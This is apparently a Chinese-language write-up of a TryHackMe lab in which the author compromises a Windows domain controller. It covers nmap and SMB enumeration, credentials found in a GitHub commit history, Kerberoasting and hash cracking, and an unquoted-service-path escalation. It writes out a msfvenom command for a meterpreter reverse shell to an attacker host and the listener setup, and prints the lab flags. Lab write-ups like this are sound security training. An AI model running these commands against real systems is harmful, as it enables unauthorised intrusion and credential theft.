端口扫描

sudo nmap --min-rate 10000 -p- 10.10.181.211             
[sudo] mikannse 的密码:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-19 00:01 CST
Warning: 10.10.181.211 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.181.211
Host is up (0.22s latency).
Not shown: 65306 closed tcp ports (reset), 200 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
5985/tcp open wsman
7990/tcp open unknown
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
49673/tcp open unknown
49677/tcp open unknown
49704/tcp open unknown
49712/tcp open unknown

看样子是域控机器

sudo nmap -sT -sV -sC -O -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5357,5985,7990,9389,47001,49664,49665,49666,49668,49669,49670,49671,49673,49677,49704,49712 10.10.181.211
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-19 00:03 CST
Nmap scan report for 10.10.181.211
Host is up (0.22s latency).

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-18 16:03:42Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-09-18T16:04:53+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: LAB-ENTERPRISE
| NetBIOS_Domain_Name: LAB-ENTERPRISE
| NetBIOS_Computer_Name: LAB-DC
| DNS_Domain_Name: LAB.ENTERPRISE.THM
| DNS_Computer_Name: LAB-DC.LAB.ENTERPRISE.THM
| DNS_Tree_Name: ENTERPRISE.THM
| Product_Version: 10.0.17763
|_ System_Time: 2023-09-18T16:04:46+00:00
| ssl-cert: Subject: commonName=LAB-DC.LAB.ENTERPRISE.THM
| Not valid before: 2023-09-17T16:00:06
|_Not valid after: 2024-03-18T16:00:06
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7990/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Log in to continue - Log in with Atlassian account
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2019 (96%), Microsoft Windows Server 2012 (93%), Microsoft Windows Vista SP1 (93%), Microsoft Windows 10 1709 - 1909 (93%), Microsoft Windows Longhorn (91%), Microsoft Windows 10 2004 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: LAB-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2023-09-18T16:04:44
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required

得到域名:lab.enterprise.thm

dig lab.enterprise.thm any @10.10.181.211

下列也添加

lab-dc.lab.enterprise.thm

hostmaster.lab.enterprise.thm

SMB

扫描一下SMB服务

smbmap -H 10.10.192.187 -u anonymous
Disk                                                    Permissions     Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Docs READ ONLY
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
SYSVOL NO ACCESS Logon server share
Users READ ONLY Users Share. Do Not Touch!

有三个共享是可读的

smbclient //10.10.192.187/Users 
recurse on
prompt off

开启递归和关闭下载确认

另外两个共享也同样下载下来,但是翻看了一下发现没有什么东西

nmap扫描中看到7990开了HTTP服务,浏览器中查看是个登录界面,好像是不能用于登录的,只有一个前端。文本说他们搬去GitHub了

Getshell

https://github.com/Enterprise-THM

还真有账号,但是仓库里只有一个md文件,右边的有一个员工叫Nik-enterprise-dev。仓库中有一个脚本。在blame中能看到文件的历史修改记录。

找到了凭证nik/ToastyBoi!

试试RDP登录

xfreerdp /u:nik /p:ToastyBoi! /v:10.10.71.212 /dynamic-resolution

貌似不行捏

ldapdomaindump 10.10.71.212 -u 'LAB-ENTERPRISE\nik' -p ToastyBoi!

收集一下ldap的信息

可以在html页面查看,可以看到nik没有远程桌面的权限,所以我们之前无法按连接。

试着获得SPNS

impacket-GetUserSPNs -dc-ip 10.10.71.212 lab.enterprise.thm/nik:ToastyBoi! -request

不是很了解,去查了一些资料

这个工具检索未设置“不需要Kerberos预身份验证”的域用户

“服务主体名称(SPN)是服务实例的唯一标识符。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。这样做允许客户端应用程序为帐户请求服务身份验证,即使客户端没有帐户名。”

得到了bitbucket用户的hash,并且在之前查看他有远程桌面的权限

john --wordlist=/usr/share/wordlists/rockyou.txt hash

得到密码:littleredbucket

xfreerdp /u:bitbucket /p:littleredbucket /v:10.10.71.212 /dynamic-resolution

成功登录

user.txt

THM{ed882d02b34246536ef7da79062bef36}

提权

上传winpeas

发现一个服务:

C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe

文件路径存在空格,我们能够生成一个Zero.exe来劫持服务所执行的执行文件为一个反弹shell,并放置在Program Files (x86)\Zero Tier目录

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.38.245 LPORT=1234 -e x86/shikata_ga_nai -f exe -o Zero.exe

msf开启一个监听

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 1234
set LHOST tun0
run
Start-Service -name "zerotieroneservice"

开启服务,成功建立shell

但是发现shell很快就会关闭。。。

set AutoRunScript post/windows/manage/migrate

root.txx

THM{1a1fa94875421296331f145971ca4881}

碎碎念

因为域的知识对目前的我来说体系实在是太过庞大,于是打算以练促学的方式通过直接打靶机来学习陌生的知识。发现有必要系统地学习一些Windows基础,尤其是文件系统和powershell命令。